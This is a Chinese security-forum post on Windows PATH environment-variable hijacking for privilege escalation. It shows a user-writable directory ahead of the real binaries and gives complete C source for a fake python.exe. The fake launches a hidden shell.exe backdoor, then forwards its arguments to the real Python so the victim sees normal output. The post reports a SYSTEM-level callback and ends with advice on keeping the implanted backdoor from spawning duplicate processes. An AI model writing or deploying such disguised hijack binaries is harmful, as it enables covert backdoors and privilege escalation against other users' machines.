通过滥用系统的路径搜索机制来欺骗高权限用户执行看似合法的系统二进制文件,实际上是恶意的代码或程序,从而导致升权限并执行恶意操作。
攻击的关键前提:
原理是利用操作系统环境变量设置的弱点来欺骗高权限用户执行恶意代码,从而实现权限提升。
正常情况系统的环境变量是从c:\Windows\system32
开始遍历,如下所示:
但是,当存在于环境变量的路径在c:\Windows\system32
之前,并且可由低权限用户 (M) 修改的时候,就会造成环境变量的滥用,例如(c:\Windows\temp
变量路径滥用):
并且查看文件夹访问权限,是可以用户修改的,查询如下:
BUILTIN\Users
:内置的用户组 “Users” 有以下权限:(CI):容器内项目,(S):同步访问,(WD):写入数据,(AD):添加数据,(X):执行文件。这意味着”Users”组可以读取、写入、添加、执行该文件夹内的项目。BUILTIN\Administrators
:内置的管理员组 “Administrators” 有:(F):完全控制权限。这意味着管理员可以完全控制该文件夹,包括修改权限。NT AUTHORITY\SYSTEM
:系统账户有:(F):完全控制权限。这允许系统账户对文件夹拥有完全控制。CREATOR OWNER
:文件或文件夹的创建者有:(OI)(CI)(IO)(F):对象的所有权,容器和继承的所有权,对象的访问权限,完全控制权限。这使得文件或文件夹的创建者拥有完全控制权限。SAEDYQJKFJNNOFS\camer
:用户”camer”有:(OI)(CI)(F):对象的所有权,容器和继承的所有权,完全控制权限。当用户将恶意程序放在c:\Windows\temp
目录下的时候,正常用户无论是Administrator还是SYSTEM调用,都会优先执行恶意程序,例如劫持的是cmd.exe,如下会被劫持执行计算器,如下所示:
实际利用的时候还存在一个巨大的缺陷,就是系统核心命令使用了一个称为“系统目录优先级”的机制,即使你在环境变量中指定了其他目录,系统仍然会首先搜索系统目录(通常是C:\Windows\system32)中的可执行文件,以确保系统的稳定性和安全性。
所以说只能接劫持利用python、java、gcc等用户环境的环境变量滥用,才能实际利用。
恶意程序如下(劫持的python.exe):
#include <windows.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
// 恶意程序
wchar_t* Shell = L"C:\\Windows\\Temp\\shell.exe";
HINSTANCE hInstance1 = ShellExecuteW(NULL, L"open", Shell, NULL, NULL, SW_HIDE);
// 保证python程序能够正常执行
if (argc >= 2) {
const char* pythonPath = "C:\\Users\\camer\\AppData\\Local\\Programs\\Python\\Python39\\python.exe";
// 构建调用Python脚本的命令
char pythonCommand[4096]; // Increased buffer size to accommodate more arguments
snprintf(pythonCommand, sizeof(pythonCommand), "%s %s", pythonPath, argv[1]);
// 将额外的参数添加到 Python 命令中
for (int i = 2; i < argc; ++i) {
strcat(pythonCommand, " ");
strcat(pythonCommand, argv[i]);
}
// 调用Python脚本
system(pythonCommand);
}
return 0;
}
假设用户要使用管理员权限执行python文件,调用python执行命令(python文件随便让GPT生成的):
python 1.py greeting morning
执行成功会发现正常运行输出,但是实际后台执行恶意程序并上线成功,并且具有SYSTEM权限的,如下所示:
0x04 思考总结
普通用户权限调用python也会上线,并且最好shell添加防止进程多开的功能,不然后台容易都是马。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 600.00 | 0 | 2023-09-06 21:09:15 | 深度 200 普适 200 可读 200 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-魔方
发表于 2023-8-30
本月奖金池已空,金币奖励将于下月发放,期待同学有更多好文章产出~
评论列表
加载数据中...